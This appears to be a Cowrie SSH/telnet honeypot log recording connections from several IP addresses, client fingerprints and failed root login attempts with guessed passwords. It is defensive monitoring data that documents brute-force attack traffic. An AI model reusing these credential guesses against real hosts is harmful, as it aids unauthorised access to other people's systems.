{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:58:33.052449Z","src_ip":"43.135.177.217","session":"1a1165a73ba2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:58:33.122278Z","src_ip":"43.135.177.217","session":"1a1165a73ba2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"heist","message":"login attempt [root/heist] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:58:33.429913Z","src_ip":"43.135.177.217","session":"1a1165a73ba2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:58:34.501944Z","src_ip":"43.135.177.217","session":"1a1165a73ba2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.70.247","src_port":53614,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b3b48ea93fe","protocol":"ssh","message":"New connection: 43.153.70.247:53614 (10.17.0.5:22) [session: 5b3b48ea93fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:58:37.057432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:58:37.062655Z","src_ip":"43.153.70.247","session":"5b3b48ea93fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:58:37.131052Z","src_ip":"43.153.70.247","session":"5b3b48ea93fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eagle1","message":"login attempt [root/eagle1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:58:37.434247Z","src_ip":"43.153.70.247","session":"5b3b48ea93fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:58:38.505549Z","src_ip":"43.153.70.247","session":"5b3b48ea93fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.84.253","src_port":34578,"dst_ip":"159.203.135.109","dst_port":22,"session":"61afc996c9b0","protocol":"ssh","message":"New connection: 43.173.84.253:34578 (159.203.135.109:22) [session: 61afc996c9b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:58:39.799305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:58:39.804368Z","src_ip":"43.173.84.253","session":"61afc996c9b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:58:39.872252Z","src_ip":"43.173.84.253","session":"61afc996c9b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Smart@123","message":"login attempt [root/Smart@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:58:40.173693Z","src_ip":"43.173.84.253","session":"61afc996c9b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:58:41.245612Z","src_ip":"43.173.84.253","session":"61afc996c9b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56018,"dst_ip":"10.17.0.5","dst_port":23,"session":"1256be2cedaf","protocol":"telnet","message":"New connection: 152.42.224.71:56018 (10.17.0.5:23) [session: 1256be2cedaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:58:45.592776Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33072,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f03e5e53660","protocol":"telnet","message":"New connection: 152.42.224.71:33072 (10.17.0.5:23) [session: 0f03e5e53660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:58:51.482580Z"}
{"eventid":"cowrie.session.closed","duration":18.12835454940796,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:59:09.610659Z","src_ip":"152.42.224.71","session":"0f03e5e53660","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.277995109558105,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:59:15.447586Z","src_ip":"152.42.224.71","session":"c6e7be98d998","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.824676513671875,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:59:18.047036Z","src_ip":"152.42.224.71","session":"f8ac0bfbe0d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60954,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccd119e4a685","protocol":"telnet","message":"New connection: 152.42.224.71:60954 (10.17.0.5:23) [session: ccd119e4a685]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:59:20.327089Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60970,"dst_ip":"10.17.0.5","dst_port":23,"session":"b94e5b2bb38e","protocol":"telnet","message":"New connection: 152.42.224.71:60970 (10.17.0.5:23) [session: b94e5b2bb38e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:59:25.082743Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":35886,"dst_ip":"159.203.135.109","dst_port":22,"session":"658d95ff59cd","protocol":"ssh","message":"New connection: 139.19.117.129:35886 (159.203.135.109:22) [session: 658d95ff59cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:59:32.801772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:59:32.805459Z","src_ip":"139.19.117.129","session":"658d95ff59cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:59:32.901240Z","src_ip":"139.19.117.129","session":"658d95ff59cd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2d:13:51:5e:4b:e7:30:a6:9c:0b:42:4e:96:4c:05:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCcPjOVNHzQQYmUsyG0fe4c9gQtdUQAmkvY29+0y6YWj4kmYTXWRfVEYFPLONSVZ+9BDGY9tBubE4eRrqO1eO+lR6GsOHhnKyXBJFIAd7vFDSK1kUtJfDcSpZNEnBo2579phREyJzOZ0uiwjGldtIiByJ1RtJ698hl7b3ERVG82DVyQj0og5BOlkmjyXmI3eWEONbH1DQH7vowZK150ZEOEPKuViB0z5T3Eg26ZMUgb/K2EPZLmhYREPk9a8l/tiYE/xFmjo33mRyOgM9+TAzV4GFjsdS25u2Q+38sFZ3uRDT89SkQoTzCKR+MFBEab5xsE36TIBd8+GsGSNLfOVWCMAwBxOKk70EdHUgwifQCF+9MaLhNOk/ZpVAc9j/npWsHOW2RlnOvI/mJ+YNBf7Xuo0M3bSZNYxQoelxl6b8mqauyrh0Vf+p9XuoBfPAI2dWNFfURMZXAQ4ksm7CXVi0U0S200Sim9U/GW7v5SbZRnAGaFeV4WH0uyo3nSiXx/XXM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2d:13:51:5e:4b:e7:30:a6:9c:0b:42:4e:96:4c:05:fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:59:33.099292Z","src_ip":"139.19.117.129","session":"658d95ff59cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2d:13:51:5e:4b:e7:30:a6:9c:0b:42:4e:96:4c:05:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCcPjOVNHzQQYmUsyG0fe4c9gQtdUQAmkvY29+0y6YWj4kmYTXWRfVEYFPLONSVZ+9BDGY9tBubE4eRrqO1eO+lR6GsOHhnKyXBJFIAd7vFDSK1kUtJfDcSpZNEnBo2579phREyJzOZ0uiwjGldtIiByJ1RtJ698hl7b3ERVG82DVyQj0og5BOlkmjyXmI3eWEONbH1DQH7vowZK150ZEOEPKuViB0z5T3Eg26ZMUgb/K2EPZLmhYREPk9a8l/tiYE/xFmjo33mRyOgM9+TAzV4GFjsdS25u2Q+38sFZ3uRDT89SkQoTzCKR+MFBEab5xsE36TIBd8+GsGSNLfOVWCMAwBxOKk70EdHUgwifQCF+9MaLhNOk/ZpVAc9j/npWsHOW2RlnOvI/mJ+YNBf7Xuo0M3bSZNYxQoelxl6b8mqauyrh0Vf+p9XuoBfPAI2dWNFfURMZXAQ4ksm7CXVi0U0S200Sim9U/GW7v5SbZRnAGaFeV4WH0uyo3nSiXx/XXM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:59:33.102804Z","src_ip":"139.19.117.129","session":"658d95ff59cd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2d:13:51:5e:4b:e7:30:a6:9c:0b:42:4e:96:4c:05:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCcPjOVNHzQQYmUsyG0fe4c9gQtdUQAmkvY29+0y6YWj4kmYTXWRfVEYFPLONSVZ+9BDGY9tBubE4eRrqO1eO+lR6GsOHhnKyXBJFIAd7vFDSK1kUtJfDcSpZNEnBo2579phREyJzOZ0uiwjGldtIiByJ1RtJ698hl7b3ERVG82DVyQj0og5BOlkmjyXmI3eWEONbH1DQH7vowZK150ZEOEPKuViB0z5T3Eg26ZMUgb/K2EPZLmhYREPk9a8l/tiYE/xFmjo33mRyOgM9+TAzV4GFjsdS25u2Q+38sFZ3uRDT89SkQoTzCKR+MFBEab5xsE36TIBd8+GsGSNLfOVWCMAwBxOKk70EdHUgwifQCF+9MaLhNOk/ZpVAc9j/npWsHOW2RlnOvI/mJ+YNBf7Xuo0M3bSZNYxQoelxl6b8mqauyrh0Vf+p9XuoBfPAI2dWNFfURMZXAQ4ksm7CXVi0U0S200Sim9U/GW7v5SbZRnAGaFeV4WH0uyo3nSiXx/XXM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2d:13:51:5e:4b:e7:30:a6:9c:0b:42:4e:96:4c:05:fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:59:33.200963Z","src_ip":"139.19.117.129","session":"658d95ff59cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2d:13:51:5e:4b:e7:30:a6:9c:0b:42:4e:96:4c:05:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCcPjOVNHzQQYmUsyG0fe4c9gQtdUQAmkvY29+0y6YWj4kmYTXWRfVEYFPLONSVZ+9BDGY9tBubE4eRrqO1eO+lR6GsOHhnKyXBJFIAd7vFDSK1kUtJfDcSpZNEnBo2579phREyJzOZ0uiwjGldtIiByJ1RtJ698hl7b3ERVG82DVyQj0og5BOlkmjyXmI3eWEONbH1DQH7vowZK150ZEOEPKuViB0z5T3Eg26ZMUgb/K2EPZLmhYREPk9a8l/tiYE/xFmjo33mRyOgM9+TAzV4GFjsdS25u2Q+38sFZ3uRDT89SkQoTzCKR+MFBEab5xsE36TIBd8+GsGSNLfOVWCMAwBxOKk70EdHUgwifQCF+9MaLhNOk/ZpVAc9j/npWsHOW2RlnOvI/mJ+YNBf7Xuo0M3bSZNYxQoelxl6b8mqauyrh0Vf+p9XuoBfPAI2dWNFfURMZXAQ4ksm7CXVi0U0S200Sim9U/GW7v5SbZRnAGaFeV4WH0uyo3nSiXx/XXM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:59:33.204567Z","src_ip":"139.19.117.129","session":"658d95ff59cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40830,"dst_ip":"10.17.0.5","dst_port":23,"session":"f97eba3ce05a","protocol":"telnet","message":"New connection: 152.42.224.71:40830 (10.17.0.5:23) [session: f97eba3ce05a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:59:36.274799Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":45682,"dst_ip":"10.17.0.5","dst_port":22,"session":"67f9e5835e03","protocol":"ssh","message":"New connection: 45.137.172.116:45682 (10.17.0.5:22) [session: 67f9e5835e03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:59:37.504436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:59:37.509427Z","src_ip":"45.137.172.116","session":"67f9e5835e03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:59:37.605856Z","src_ip":"45.137.172.116","session":"67f9e5835e03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tominaga","message":"login attempt [root/tominaga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:59:38.022981Z","src_ip":"45.137.172.116","session":"67f9e5835e03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":44352,"dst_ip":"10.17.0.5","dst_port":22,"session":"a101605d1c97","protocol":"ssh","message":"New connection: 43.135.177.217:44352 (10.17.0.5:22) [session: a101605d1c97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:59:38.689086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:59:38.693694Z","src_ip":"43.135.177.217","session":"a101605d1c97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:59:38.762429Z","src_ip":"43.135.177.217","session":"a101605d1c97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"usuario1234","message":"login attempt [root/usuario1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:59:39.069709Z","src_ip":"43.135.177.217","session":"a101605d1c97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:59:39.124873Z","src_ip":"45.137.172.116","session":"67f9e5835e03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:59:40.141212Z","src_ip":"43.135.177.217","session":"a101605d1c97","protocol":"ssh"}
